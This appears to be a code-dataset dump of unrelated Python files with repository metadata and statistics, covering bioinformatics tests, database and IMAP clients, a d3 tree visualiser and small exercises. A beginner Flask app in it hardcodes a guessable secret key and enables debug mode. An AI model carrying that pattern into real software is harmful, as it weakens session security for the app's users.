elif encalc == "синус": # result = math.sin(x), math.sin(y) # elif encalc == "косинус": # result = math.cos(x), math.cos(y) # else: # return # self.sendmsg(f"Ваш результат: {result}")

36.871795

74

0.462448

150

1,438

4.426667

0.406667

0.105422

0.099398

0.072289

0.144578

0.11747

0

0.013652

0.388734

1,438

38

75

37.842105

0.741752

0.946453

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null

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null

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null

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null

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null

true

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null

0

null

0

1

0

null

0

1

0

2

408f7d16d7791c4eaced84288001a4eccaab5dae

54

py

Python

graw/__init__.py

iamsajjad/graw

84289b9bd2e298bad72ade402ab8a87e7c37688d

[ "MIT" ]

null

graw/__init__.py

iamsajjad/graw

84289b9bd2e298bad72ade402ab8a87e7c37688d

[ "MIT" ]

null

graw/__init__.py

iamsajjad/graw

84289b9bd2e298bad72ade402ab8a87e7c37688d

[ "MIT" ]

null

# version of the graw package __version__ = "0.1.0"

10.8

29

0.685185

9

54

3.666667

0.777778

0

0.069767

0.203704

54

4

30

13.5

0.697674

0.5

0

0.217391

0

1

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false

0

1

0

null

0

1

0

null

0

2

40967bb7a1cadc5b1fb7c5cf4f834747f6a13132

1,026

py

Python

Tests/test_BioSQL_mysql_connector_online.py

bioinf-mcb/biopython

1a1f4a7ee4e0efba517d3d607c56c27e72e399cc

[ "BSD-3-Clause" ]

2

2019-10-25T18:20:34.000Z

2019-10-28T15:26:40.000Z

Tests/test_BioSQL_mysql_connector_online.py

cosign070128/biopython

2f02e34ba76306e9c27eec9e051809bec2cece9b

[ "BSD-3-Clause" ]

9

2020-05-05T00:54:23.000Z

2020-06-09T17:10:45.000Z

Tests/test_BioSQL_mysql_connector_online.py

cosign070128/biopython

2f02e34ba76306e9c27eec9e051809bec2cece9b

[ "BSD-3-Clause" ]

3

2020-06-29T13:07:46.000Z

2021-06-14T20:11:55.000Z

#!/usr/bin/env python # This code is part of the Biopython distribution and governed by its # license. Please see the LICENSE file that should have been included # as part of this package. """Run BioSQL tests using MySQL.""" import unittest # Really do want "import *" to get all the test clases: from common_BioSQL import * # noqa: F403 from common_BioSQL_online import * # noqa: F403 # Import these explicitly to avoid flake8 F405 below: from common_BioSQL import load_biosql_ini, check_config from common_BioSQL_online import share_config import requires_internet requires_internet.check() DBDRIVER = "mysql.connector" DBTYPE = "mysql" DBHOST, DBUSER, DBPASSWD, TESTDB = load_biosql_ini(DBTYPE) # This will abort if driver not installed etc: check_config(DBDRIVER, DBTYPE, DBHOST, DBUSER, DBPASSWD, TESTDB) share_config(DBDRIVER, DBTYPE, DBHOST, DBUSER, DBPASSWD, TESTDB) if __name__ == "__main__": # Run the test cases runner = unittest.TextTestRunner(verbosity=2) unittest.main(testRunner=runner)

30.176471

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0.101695

0.19296

0.119948

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0.012658

0.153021

1,026

33

71

31.090909

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0

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false

0.2

0.4

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0.4

0

null

0

null

0

1

0

2

40a0b272172c34d79349dc117521f3988050cbff

4,401

py

Python

quantrocket/db.py

Jay-Jay-D/quantrocket-client

b70ac199382d22d56fad923ca2233ce027f3264a

[ "Apache-2.0" ]

null

quantrocket/db.py

Jay-Jay-D/quantrocket-client

b70ac199382d22d56fad923ca2233ce027f3264a

[ "Apache-2.0" ]

null

quantrocket/db.py

Jay-Jay-D/quantrocket-client

b70ac199382d22d56fad923ca2233ce027f3264a

[ "Apache-2.0" ]

1

2019-06-12T11:34:27.000Z

# Copyright 2017 QuantRocket - All Rights Reserved # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from quantrocket.houston import houston from quantrocket.cli.utils.output import json_to_cli def list_databases(service=None): """ List databases. Parameters ---------- service : str, optional only list databases for this service Returns ------- list list of databases """ params = {} if service: params["service"] = service response = houston.get("/db/databases", params=params) houston.raise_for_status_with_json(response) return response.json() def _cli_list_databases(*args, **kwargs): return json_to_cli(list_databases, *args, **kwargs) def download_database(database, outfile): """ Download a database from the db service and write to a local file. Parameters ---------- database : str, required the filename of the database (as returned by the list_databases) outfile: str, required filename to write the database to Returns ------- None """ response = houston.get("/db/databases/{0}".format(database), stream=True) houston.raise_for_status_with_json(response) with open(outfile, "wb") as f: for chunk in response.iter_content(chunk_size=1024): if chunk: f.write(chunk) def _cli_download_database(*args, **kwargs): return json_to_cli(download_database, *args, **kwargs) def s3_push_databases(service, codes=None): """ Push database(s) to Amazon S3. Parameters ---------- serivce : str, required only push databases for this service (specify 'all' to push all services) codes: list of str, optional only push databases identified by these codes (omit to push all databases for service) Returns ------- json status message """ data = {} if codes: data["codes"] = codes response = houston.put("/db/s3/{0}".format(service), data=data) houston.raise_for_status_with_json(response) return response.json() def _cli_s3_push_databases(*args, **kwargs): return json_to_cli(s3_push_databases, *args, **kwargs) def s3_pull_databases(service, codes=None, force=False): """ Pull database(s) from Amazon S3 to the db service. Parameters ---------- serivce : str, required only pull databases for this service (specify 'all' to pull all services) codes: list of str, optional only pull databases identified by these codes (omit to pull all databases for service) force: bool overwrite existing database if one exists (default is to fail if one exists) Returns ------- json status message """ params = {} if codes: params["codes"] = codes if force: params["force"] = force response = houston.get("/db/s3/{0}".format(service), params=params) houston.raise_for_status_with_json(response) return response.json() def _cli_s3_pull_databases(*args, **kwargs): return json_to_cli(s3_pull_databases, *args, **kwargs) def optimize_databases(service, codes=None): """ Optimize database file(s) to improve performance. Parameters ---------- serivce : str, required only optimize databases for this service (specify 'all' to optimize all services) codes: list of str, optional only optimize databases identified by these codes (omit to optimize all databases for service) Returns ------- json status message """ data = {} if codes: data["codes"] = codes response = houston.post("/db/optimizations/{0}".format(service), data=data) houston.raise_for_status_with_json(response) return response.json() def _cli_optimize_databases(*args, **kwargs): return json_to_cli(optimize_databases, *args, **kwargs)

29.536913

102

0.667803

566

4,401

5.075972

0.245583

0.034807

0.052906

0.036547

0.471284

0.372781

0.345284

0.233554

0.169857

0

0.007645

0.227221

4,401

148

103

29.736486

0.837107

0.473983

0

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0

0.049237

0.01034

0

1

0.204082

false

0

0.040816

0.102041

0.428571

0

null

0

null

0

1

0

1

0

2

40a5de5724e10b92314c5b47739791ffcddafb72

2,891

py

Python

scanner_relay/run.py

breakds/brokering

fa63d5ed8057a8018bcb11aaebce689c8d18e7ba

[ "MIT" ]

null

scanner_relay/run.py

breakds/brokering

fa63d5ed8057a8018bcb11aaebce689c8d18e7ba

[ "MIT" ]

null

scanner_relay/run.py

breakds/brokering

fa63d5ed8057a8018bcb11aaebce689c8d18e7ba

[ "MIT" ]

null

#!/usr/bin/env python from twisted.internet import endpoints from twisted.internet import protocol from twisted.internet import defer from twisted.mail import imap4 from scanner_relay.pipeline import Pipeline from scanner_relay.authentication import PassStoreFetcher, PlainPasswordFetcher import logging # Global configuration for the logging. Note that we set the level to # INFO so that only DEBUG logging does not get to stdout. FORMAT = '[%(levelname)s] (%(name)s) %(message)s' logging.basicConfig(level=logging.INFO, format=FORMAT) logger = logging.getLogger('run') class ScannerRelayProtocol(imap4.IMAP4Client): def __init__(self, username, password_fetcher, onFinish): super().__init__() self.pipeline = Pipeline(self, username, password_fetcher, onFinish) def serverGreeting(self, unused_capabilities): """The entry point for the whole program. It merely starts the long-running pipeline. """ # NOTE: Although twisted official example suggest using the capabilities # returned here to decide what kind of authentication methods to # register, I found it to be not true as real capabilities are only # returned after the authentication is successful. username = self.pipeline.username self.registerAuthenticator(imap4.PLAINAuthenticator(username)) self.registerAuthenticator(imap4.LOGINAuthenticator(username)) self.registerAuthenticator( imap4.CramMD5ClientAuthenticator(username)) self.pipeline.start() class ScannerRelayProtocolFactory(protocol.ClientFactory): def __init__(self, username, password_fetcher, onFinish): super().__init__() self.username = username self.password_fetcher = password_fetcher self.onFinish = onFinish def buildProtocol(self, addr): logger.info('Constructing client protocol to connect to %s:%d', addr.host, addr.port) protocol = ScannerRelayProtocol( self.username, self.password_fetcher, self.onFinish) protocol.factory = self return protocol def clientConnectionFailed(self, connector, reason): print('Connection failed.') # TODO(breakds): And a more graceful (singal handling) way to terminate the program. def clean_up(unused): from twisted.internet import reactor reactor.stop() print('All workd done!') if __name__ == '__main__': # FIXME: Make these configurable hostname = 'mail.breakds.org' username = 'bds@breakds.org'.encode('ascii') pass_store_entry = 'mail.breakds.org/bds' port = 143 from twisted.internet import reactor endpoint = endpoints.HostnameEndpoint(reactor, hostname, port) factory = ScannerRelayProtocolFactory( username, PassStoreFetcher(pass_store_entry), clean_up) endpoint.connect(factory) reactor.run()

34.416667

93

0.71982

323

2,891

6.321981

0.4613

0.041136

0.046523

0.061215

0.102351

0.053869

0

0.004314

0.198201

2,891

83

94

34.831325

0.876618

0.204428

0

0.12

0

0.081974

0

0.012048

0

1

0.12

false

0.16

0.18

0

0.36

0.04

0

null

0

null

0

1

0

1

0

2

40af0b1139a38fce3114910895fc7959fcc89bca

8,649

py

Python

tests/unit/test_coordinator.py

sopel39/presto-admin

6e7aee3427bdbea6da2deb41b7f090ef6fdcadd9

[ "Apache-2.0" ]

34

2016-01-08T21:02:13.000Z

2017-03-10T02:01:03.000Z

tests/unit/test_coordinator.py

sopel39/presto-admin

6e7aee3427bdbea6da2deb41b7f090ef6fdcadd9

[ "Apache-2.0" ]

3

2016-01-27T19:11:14.000Z

2016-12-02T21:29:53.000Z

tests/unit/test_coordinator.py

sopel39/presto-admin

6e7aee3427bdbea6da2deb41b7f090ef6fdcadd9

[ "Apache-2.0" ]

5

2016-04-29T05:27:43.000Z

2018-01-12T07:50:25.000Z

# -*- coding: utf-8 -*- # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Tests the coordinator module """ from fabric.api import env from mock import patch from prestoadmin import coordinator from prestoadmin.util.exception import ConfigurationError from tests.base_test_case import BaseTestCase class TestCoordinator(BaseTestCase): def test_build_all_defaults(self): env.roledefs['coordinator'] = 'a' env.roledefs['workers'] = ['b', 'c'] actual_default = coordinator.Coordinator().build_all_defaults() expected = {'node.properties': {'node.environment': 'presto', 'node.data-dir': '/var/lib/presto/data', 'node.launcher-log-file': '/var/log/presto/launcher.log', 'node.server-log-file': '/var/log/presto/server.log', 'catalog.config-dir': '/etc/presto/catalog', 'plugin.dir': '/usr/lib/presto/lib/plugin'}, 'jvm.config': ['-server', '-Xmx16G', '-XX:-UseBiasedLocking', '-XX:+UseG1GC', '-XX:G1HeapRegionSize=32M', '-XX:+ExplicitGCInvokesConcurrent', '-XX:+HeapDumpOnOutOfMemoryError', '-XX:+UseGCOverheadLimit', '-XX:+ExitOnOutOfMemoryError', '-XX:ReservedCodeCacheSize=512M', '-DHADOOP_USER_NAME=hive'], 'config.properties': { 'coordinator': 'true', 'discovery-server.enabled': 'true', 'discovery.uri': 'http://a:8080', 'http-server.http.port': '8080', 'node-scheduler.include-coordinator': 'false', 'query.max-memory': '50GB', 'query.max-memory-per-node': '8GB'} } self.assertEqual(actual_default, expected) def test_defaults_coord_is_worker(self): env.roledefs['coordinator'] = ['a'] env.roledefs['worker'] = ['a', 'b', 'c'] actual_default = coordinator.Coordinator().build_all_defaults() expected = {'node.properties': { 'node.environment': 'presto', 'node.data-dir': '/var/lib/presto/data', 'node.launcher-log-file': '/var/log/presto/launcher.log', 'node.server-log-file': '/var/log/presto/server.log', 'catalog.config-dir': '/etc/presto/catalog', 'plugin.dir': '/usr/lib/presto/lib/plugin'}, 'jvm.config': ['-server', '-Xmx16G', '-XX:-UseBiasedLocking', '-XX:+UseG1GC', '-XX:G1HeapRegionSize=32M', '-XX:+ExplicitGCInvokesConcurrent', '-XX:+HeapDumpOnOutOfMemoryError', '-XX:+UseGCOverheadLimit', '-XX:+ExitOnOutOfMemoryError', '-XX:ReservedCodeCacheSize=512M', '-DHADOOP_USER_NAME=hive'], 'config.properties': { 'coordinator': 'true', 'discovery-server.enabled': 'true', 'discovery.uri': 'http://a:8080', 'http-server.http.port': '8080', 'node-scheduler.include-coordinator': 'true', 'query.max-memory': '50GB', 'query.max-memory-per-node': '8GB'} } self.assertEqual(actual_default, expected) def test_validate_valid(self): conf = {'node.properties': {}, 'jvm.config': [], 'config.properties': {'coordinator': 'true', 'discovery.uri': 'http://uri'}} self.assertEqual(conf, coordinator.Coordinator.validate(conf)) def test_validate_default(self): env.roledefs['coordinator'] = 'localhost' env.roledefs['workers'] = ['localhost'] conf = coordinator.Coordinator().build_all_defaults() self.assertEqual(conf, coordinator.Coordinator.validate(conf)) def test_invalid_conf(self): conf = {'node.propoerties': {}} self.assertRaisesRegexp(ConfigurationError, 'Missing configuration for required file: ', coordinator.Coordinator.validate, conf) def test_invalid_conf_missing_coordinator(self): conf = {'node.properties': {}, 'jvm.config': [], 'config.properties': {'discovery.uri': 'http://uri'} } self.assertRaisesRegexp(ConfigurationError, 'Must specify coordinator=true in ' 'coordinator\'s config.properties', coordinator.Coordinator.validate, conf) def test_invalid_conf_coordinator(self): conf = {'node.properties': {}, 'jvm.config': [], 'config.properties': {'coordinator': 'false', 'discovery.uri': 'http://uri'} } self.assertRaisesRegexp(ConfigurationError, 'Coordinator cannot be false in the ' 'coordinator\'s config.properties', coordinator.Coordinator.validate, conf) @patch('prestoadmin.node.config.write_conf_to_file') @patch('prestoadmin.node.get_presto_conf') def test_get_conf_empty_is_default(self, get_conf_from_file_mock, write_mock): env.roledefs['coordinator'] = 'j' env.roledefs['workers'] = ['K', 'L'] get_conf_from_file_mock.return_value = {} self.assertEqual(coordinator.Coordinator().get_conf(), coordinator.Coordinator().build_all_defaults()) @patch('prestoadmin.node.config.write_conf_to_file') @patch('prestoadmin.node.get_presto_conf') def test_get_conf(self, get_conf_from_file_mock, write_mock): env.roledefs['coordinator'] = 'j' env.roledefs['workers'] = ['K', 'L'] file_conf = {'node.properties': {'my-property': 'value', 'node.environment': 'test'}} get_conf_from_file_mock.return_value = file_conf expected = {'node.properties': {'my-property': 'value', 'node.environment': 'test'}, 'jvm.config': ['-server', '-Xmx16G', '-XX:-UseBiasedLocking', '-XX:+UseG1GC', '-XX:G1HeapRegionSize=32M', '-XX:+ExplicitGCInvokesConcurrent', '-XX:+HeapDumpOnOutOfMemoryError', '-XX:+UseGCOverheadLimit', '-XX:+ExitOnOutOfMemoryError', '-XX:ReservedCodeCacheSize=512M', '-DHADOOP_USER_NAME=hive'], 'config.properties': { 'coordinator': 'true', 'discovery-server.enabled': 'true', 'discovery.uri': 'http://j:8080', 'http-server.http.port': '8080', 'node-scheduler.include-coordinator': 'false', 'query.max-memory': '50GB', 'query.max-memory-per-node': '8GB'} } self.assertEqual(coordinator.Coordinator().get_conf(), expected)

47.78453

78

0.492889

710

8,649

5.890141

0.238028

0.057867

0.045194

0.04065

0.757771

0.752272

0.715686

0.65495

0.582975

0.510043

0

0.012202

0.384091

8,649

180

79

48.05

0.772855

0.065788

0

0.650685

0

0.317246

0.160918

0

0.061644

1

0.061644

false

0

0.034247

0

0.10274

0

null

0

1

0

null

0

2

40ba39e3f0879514163c0009fb4d3d4f6df2004d

592

py

Python

hashtable.py

quake0day/oj

c09333d1738f8735de0d5d825db6f4b707585670

[ "MIT" ]

null

hashtable.py

quake0day/oj

c09333d1738f8735de0d5d825db6f4b707585670

[ "MIT" ]

null

hashtable.py

quake0day/oj

c09333d1738f8735de0d5d825db6f4b707585670

[ "MIT" ]

null

A = ['a','b'] B = ['c','b','a'] def generatehash(A): hashA = {} for item in A: if item not in hashA: hashA[item] = 1 else: hashA[item] += 1 return hashA def compareHash(A, B): lenA = len(A) lenB = len(B) hashA = generatehash(A) if lenB < lenA: return False elif lenB == lenA: return hashA == generatehash(B) else: for i in xrange(lenB-lenA+1): newB = B[i:i+lenA] if hashA == generatehash(newB): return True return False print compareHash(A, B)

19.733333

43

0.496622

79

592

3.721519

0.316456

0.020408

0.068027

0

0.008108

0.375

592

29

44

20.413793

0.786486

0

0.16

1

0

0.008446

0

null

0

null

0.04

0

null

0

1

0

null

0

1

0

2

40c853daa30d56c941424e6324401a40fa450528

878

py

Python

msgraph/base.py

jstacoder/python-msgraph

be9a93f4baa2d89c97a8454ab1d31b8e5fdda38e

[ "Apache-2.0" ]

2

2020-09-23T18:26:22.000Z

2021-03-10T14:12:49.000Z

msgraph/base.py

jstacoder/python-msgraph

be9a93f4baa2d89c97a8454ab1d31b8e5fdda38e

[ "Apache-2.0" ]

4

2020-09-23T18:25:32.000Z

2021-03-22T11:07:32.000Z

msgraph/base.py

jstacoder/python-msgraph

be9a93f4baa2d89c97a8454ab1d31b8e5fdda38e

[ "Apache-2.0" ]

1

2020-09-23T18:28:14.000Z

from datetime import datetime class Base(object): date_format = '%Y-%m-%d' time_format = '%H:%M:%S' datetime_format = date_format + 'T%s' % time_format full_datetime_format = date_format + 'T' + time_format + '.%f' iso_format = date_format + 'T%sZ' % time_format standard_datetime_format = date_format + ' ' + time_format extended_datetime_format = date_format + 'T' + time_format +'.%fZ' @classmethod def parse_date_time(cls, text): instance = None formats = [cls.extended_datetime_format, cls.full_datetime_format, cls.datetime_format, cls.standard_datetime_format, cls.iso_format, cls.date_format] for format in formats: try: instance = datetime.strptime(text, format) except Exception: pass else: break return instance

35.12

158

0.633257

106

878

4.95283

0.377358

0.213333

0.152381

0.182857

0.180952

0.133333

0

0.269932

878

24

159

36.583333

0.819033

0

0.037585

0

1

0.047619

false

0.047619

0

0.52381

0

null

1

0

1

0

null

0

2

40d75b3cb34c1d537273d852cc304bd850526e28

10,039

py

Python

utils/visualize_tree.py

moyiming1/Retrosynthesis-pathway-ranking

380f31189d09395d0de911759b8bcea436b559b2

[ "MIT" ]

10

2021-02-24T02:31:40.000Z

2022-02-17T07:58:46.000Z

utils/visualize_tree.py

wangxr0526/Retrosynthesis-pathway-ranking

380f31189d09395d0de911759b8bcea436b559b2

[ "MIT" ]

1

2022-02-14T16:13:59.000Z

utils/visualize_tree.py

wangxr0526/Retrosynthesis-pathway-ranking

380f31189d09395d0de911759b8bcea436b559b2

[ "MIT" ]

3

2021-01-05T11:43:03.000Z

2022-02-17T08:52:27.000Z

import os, sys project_path = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) sys.path.append(project_path) import pickle def construct_tree_for_visual(tree, node_info_key, depth=0): tree_for_visual = {'smiles': 'http://askcos.mit.edu/draw/smiles/' + str(tree['smiles']).replace('#', '%23'), 'depth': depth, 'children': []} if node_info_key in tree.keys(): if type(tree[node_info_key]) is not str: tree_for_visual['score'] = '{:.3f}'.format(tree[node_info_key]) else: tree_for_visual['score'] = tree[node_info_key] else: tree_for_visual['score'] = '' if tree['child']: # tree_for_visual['children'] = [] for child in tree['child']: tree_for_visual['children'].append(construct_tree_for_visual(child, node_info_key, depth+1)) return tree_for_visual def construct_tree_for_d3_visualization(tree, depth, new_tree={}, max_children=0): # if 'is_chemical' in tree.keys(): new_tree['smiles'] = 'http://askcos.mit.edu/draw/smiles/' + str(tree['smiles']).replace('#', '%23') if 'score' in tree.keys(): new_tree['score'] = str(tree['score']) else: new_tree['score'] = '' # new_tree['smiles'] = str(new_tree['smiles']) new_tree['children'] = [] if tree['child']: # print(len(tree['child'])) if max_children < len(tree['child']): max_children = len(tree['child']) for child in tree['child']: new_tree['children'].append({}) _, max_children = construct_tree_for_d3_visualization(child, depth + 1, new_tree['children'][-1], max_children) return new_tree, max_children def count_tree_depth_children(tree, count): count[tree['depth']] += 1 if tree['children']: for child in tree['children']: count = count_tree_depth_children(child, count) return count def create_tree_html(trees, file_name, tree_info=None, node_info_key='score', width_factor=1, max_depth=10): try: outfile = file_name except Exception as e: print(e) print('Need to specify file name to write results to') trees_for_visualization = {'name': 'dummy_root', 'children': []} max_children = 1 for i, tree in enumerate(trees): output = construct_tree_for_visual(tree, node_info_key) trees_for_visualization['children'].append(output) # print() current_children = max(count_tree_depth_children(output, count=[0]*20)) if current_children > max_children: max_children = current_children if tree_info: # print(tree_info[i]) trees_for_visualization['children'][-1]['_id'] = tree_info[i] else: trees_for_visualization['children'][-1]['_id'] = ('T%d' % i) # print(max_children) max_children = max(max_children, 3) height = 300 * len(trees) * max_children / 3 * width_factor page_width = max_depth * 300 fid_out = open(outfile + '.html', 'w') fid_out.write('<!DOCTYPE html>\n') fid_out.write(' <head>\n') fid_out.write(' <meta charset="utf-8">\n') fid_out.write(' <title>{}</title>\n'.format(outfile)) fid_out.write(' <style>\n') fid_out.write(' .node circle {\n') fid_out.write(' fill: #fff;\n') fid_out.write(' stroke: steelblue;\n') fid_out.write(' stroke-width: 3px;\n') fid_out.write(' }\n') fid_out.write(' .node rect {\n') fid_out.write(' fill: #fff;\n') fid_out.write(' stroke: steelblue;\n') fid_out.write(' stroke_width: 3px;\n') fid_out.write(' }\n') fid_out.write(' .node text { font: 12px sans-serif; }\n') fid_out.write(' .link {\n') fid_out.write(' fill: none;\n') fid_out.write(' stroke: #ccc;\n') fid_out.write(' stroke-width: 2px;\n') fid_out.write(' }\n') fid_out.write(' </style>\n') fid_out.write(' </head>\n') fid_out.write(' <body>\n') fid_out.write(' \n') fid_out.write('<script src="http://d3js.org/d3.v3.min.js"></script>\n') fid_out.write('<script>\n') fid_out.write('var treeData = [\n') fid_out.write('{}\n'.format(trees_for_visualization)) fid_out.write('];\n') fid_out.write('var margin = {top: 20, right: 120, bottom: 20, left: 0},\n') fid_out.write(' width = {} - margin.right - margin.left,\n'.format(page_width)) fid_out.write(' height = {} - margin.top - margin.bottom;\n'.format(height)) fid_out.write('var i = 0;\n') fid_out.write('var tree = d3.layout.tree()\n') fid_out.write(' .size([height, width]);\n') fid_out.write('var diagonal = d3.svg.diagonal()\n') fid_out.write(' .projection(function(d) { return [d.y, d.x]; });\n') fid_out.write('var svg = d3.select("body").append("svg")\n') fid_out.write(' .attr("width", width + margin.right + margin.left)\n') fid_out.write(' .attr("height", height + margin.top + margin.bottom)\n') fid_out.write(' .append("g")\n') fid_out.write(' .attr("transform", \n') fid_out.write(' "translate(" + margin.left + "," + margin.top + ")");\n') fid_out.write('root = treeData[0];\n') fid_out.write('update(root);\n') fid_out.write('function update(source) {\n') fid_out.write(' // Compute the new tree layout.\n') fid_out.write(' var nodes = tree.nodes(root).reverse(),\n') fid_out.write(' links = tree.links(nodes);\n') fid_out.write(' // Normalize for fixed-depth.\n') fid_out.write(' nodes.forEach(function(d) { d.y = d.depth * 250; });\n') fid_out.write(' // Declare the nodes…\n') fid_out.write(' var node = svg.selectAll("g.node")\n') fid_out.write(' .data(nodes, function(d) { return d.id || (d.id = ++i); });\n') fid_out.write(' // Enter the nodes.\n') fid_out.write(' var nodeEnter = node.enter().append("g")\n') fid_out.write(' .attr("class", "node")\n') fid_out.write(' .attr("transform", function(d) { \n') fid_out.write(' return "translate(" + d.y + "," + d.x + ")"; });\n') fid_out.write(' nodeEnter.append("image")\n') fid_out.write(' .attr("xlink:href", function(d) { return d.smiles; })\n') fid_out.write(' .attr("x", "-60px")\n') fid_out.write(' .attr("y", "-60px")\n') fid_out.write(' .attr("width", "120px")\n') fid_out.write(' .attr("height", "120px");\n') fid_out.write(' nodeEnter.append("path")\n') fid_out.write(' .style("stroke", "black")\n') fid_out.write(' .style("fill", function(d) { if (d.freq==1) { return "white"; }\n') fid_out.write(' else if (d.freq==2) { return "yellow";}\n') fid_out.write(' else if (d.freq==3) { return "orange"; }\n') fid_out.write(' else if (d.freq>=4) { return "red"; }\n') fid_out.write(' else {return "white";}\n') fid_out.write(' })\n') fid_out.write(' .attr("d", d3.svg.symbol()\n') fid_out.write(' .size(0)\n') fid_out.write(' .type(function(d) {if\n') fid_out.write(' (d.rc_type == "chemical") {return "circle";} else if\n') fid_out.write(' (d.rc_type == "reaction") {return "cross";}\n') fid_out.write(' }));\n') fid_out.write(' nodeEnter.append("text")\n') fid_out.write(' .attr("x", 0)\n') fid_out.write(' .attr("y", 35)\n') fid_out.write(' .attr("text-anchor", function(d) { \n') fid_out.write(' return d.children || d._children ? "end" : "start"; })\n') fid_out.write(' .text(function(d) { return d.names; })\n') fid_out.write(' .style("fill-opacity", 1);\n') fid_out.write(' nodeEnter.append("text")\n') fid_out.write(' .attr("x", 200)\n') fid_out.write(' .attr("y", 120)\n') fid_out.write(' .attr("text-anchor", function(d) { \n') fid_out.write(' return d.children || d._children ? "end" : "start"; })\n') fid_out.write(' .text(function(d) { return d._id; })\n') fid_out.write(' .style("fill-opacity", 1);\n') fid_out.write(' nodeEnter.append("text")\n') fid_out.write(' .attr("x", 0)\n') fid_out.write(' .attr("y", -30)\n') fid_out.write(' .attr("text-anchor", function(d) { \n') fid_out.write(' return d.children || d._children ? "end" : "start"; })\n') fid_out.write(' .text(function(d) { return d.score; })\n') fid_out.write(' .style("fill-opacity", 1);\n') fid_out.write(' // Declare the links…\n') fid_out.write(' var link = svg.selectAll("path.link")\n') fid_out.write(' .data(links, function(d) { return d.target.id; });\n') fid_out.write(' // Enter the links.\n') fid_out.write(' link.enter().insert("path", "g")\n') fid_out.write(' .attr("class", "link")\n') fid_out.write(' .style("stroke", function(d) { return d.target.level; })\n') fid_out.write(' .attr("d", diagonal);\n') fid_out.write(' // remove the first level, leaving the targets as the first level\n') fid_out.write(' node.each(function(d){\n') fid_out.write(' if (d.name == "dummy_root")\n') fid_out.write(' d3.select(this).remove();});\n') fid_out.write(' link.each(function(d){\n') fid_out.write(' if (d.source.name == "dummy_root") \n') fid_out.write(' d3.select(this).remove();});\n') fid_out.write('}\n') fid_out.write('</script>\n') fid_out.write(' </body>\n') fid_out.write('</html>\n') fid_out.close() if __name__ == "__main__": file_name = project_path + '/data/pathway_train_example.pkl' with open(file_name, 'rb') as f: data = pickle.load(f) trees_to_plot = [d['tree'] for d in data['generated_paths'][0:10]] create_tree_html(trees_to_plot, 'plotted_trees')

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false

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0.010582

0

null

0

1

0

null

0

2

40f24ffc2a5ce750fd7226190ea187a0e43d6f6d

296

py

Python

borax/patterns/singleton.py

kinegratii/borax

3595f554b788c31d0f07be4099db68c854db65f7

[ "MIT" ]

51

2018-04-18T13:52:15.000Z

2022-03-23T13:46:02.000Z

borax/patterns/singleton.py

kinegratii/borax

3595f554b788c31d0f07be4099db68c854db65f7

[ "MIT" ]

26

2019-05-26T02:22:34.000Z

2022-03-14T07:50:32.000Z

borax/patterns/singleton.py

kinegratii/borax

3595f554b788c31d0f07be4099db68c854db65f7

[ "MIT" ]

7

2018-09-30T08:17:29.000Z

2020-12-16T01:49:24.000Z

# coding=utf8 class MetaSingleton(type): def __init__(cls, *args): type.__init__(cls, *args) cls.instance = None def __call__(cls, *args, **kwargs): if not cls.instance: cls.instance = type.__call__(cls, *args, **kwargs) return cls.instance

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0

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0.273649

296

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0.744186

0.037162

0

1

0.25

false

0

0.5

0

null

0

1

0

null

0

1

0

2

40f5c3fea77f91c61ea3a74c27daae2c26011e43

658

py

Python

Nelson_Alvarez/Assignments/flask_fund/ninja_turtle/turtle.py

webguru001/Python-Django-Web

6264bc4c90ef1432ba0902c76b567cf3caaae221

[ "MIT" ]

5

2019-05-17T01:30:02.000Z

2021-06-17T21:02:58.000Z

Nelson_Alvarez/Assignments/flask_fund/ninja_turtle/turtle.py

curest0x1021/Python-Django-Web

6264bc4c90ef1432ba0902c76b567cf3caaae221

[ "MIT" ]

null

Nelson_Alvarez/Assignments/flask_fund/ninja_turtle/turtle.py

curest0x1021/Python-Django-Web

6264bc4c90ef1432ba0902c76b567cf3caaae221

[ "MIT" ]

null

from flask import Flask from flask import render_template, redirect, session, request app = Flask(__name__) app.secret_key = 'ThisIsSecret' @app.route('/') def nothing(): return render_template('index.html') @app.route('/ninja') def ninja(): x = 'tmnt' return render_template('ninjas.html', x=x) @app.route('/ninja/<any>') def ninjas_colors_any(any): ninja_dict = {'blue': 'leonardo', 'red': 'raphael', 'purple': 'donatello', 'orange': 'michelangelo'} if any in ninja_dict: x = ninja_dict[any] return render_template('ninjas.html', x=x) else: x= 'notapril' return render_template('ninjas.html', x=x) app.run(debug=True)

22.689655

102

0.682371

91

658

4.769231

0.450549

0.16129

0.184332

0.179724

0.235023

0.16129

0

0.150456

658

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103

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false

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0.428571

0

null

0

1

0

null

0

2

40f5d8bb4fa97a86898d698a3335896827401fd2

941

py

Python

neo/Network/Inventory.py

BSathvik/neo-python

90eddde0128f8ba41207d88fd68041682e307315

[ "MIT" ]

15

2018-02-27T13:07:00.000Z

2021-01-29T10:27:41.000Z

neo/Network/Inventory.py

BSathvik/neo-python

90eddde0128f8ba41207d88fd68041682e307315

[ "MIT" ]

3

2021-03-20T05:43:51.000Z

2022-02-11T03:47:50.000Z

neo/Network/Inventory.py

BSathvik/neo-python

90eddde0128f8ba41207d88fd68041682e307315

[ "MIT" ]

6

2018-07-13T05:00:44.000Z

2020-10-28T19:41:54.000Z

# -*- coding:utf-8 -*- """ Description: Inventory Class Usage: from neo.Network.Inventory import Inventory """ from neo.IO.MemoryStream import MemoryStream from neocore.IO.BinaryWriter import BinaryWriter class Inventory(object): """docstring for Inventory""" def __init__(self): """ Create an instance """ super(Inventory, self).__init__() self.hash = None def GetHashData(self): """ Get the hashable data. Returns: bytes: """ ms = MemoryStream() w = BinaryWriter(ms) self.SerializeUnsigned(w) ms.flush() return ms.ToArray() def GetScriptHashesForVerifying(self): pass def Serialize(self, writer): pass def SerializeUnsigned(self, writer): pass def Deserialize(self, reader): pass def DeserializeUnsigned(self, reader): pass

18.82

48

0.587673

90

941

6.055556

0.522222

0.051376
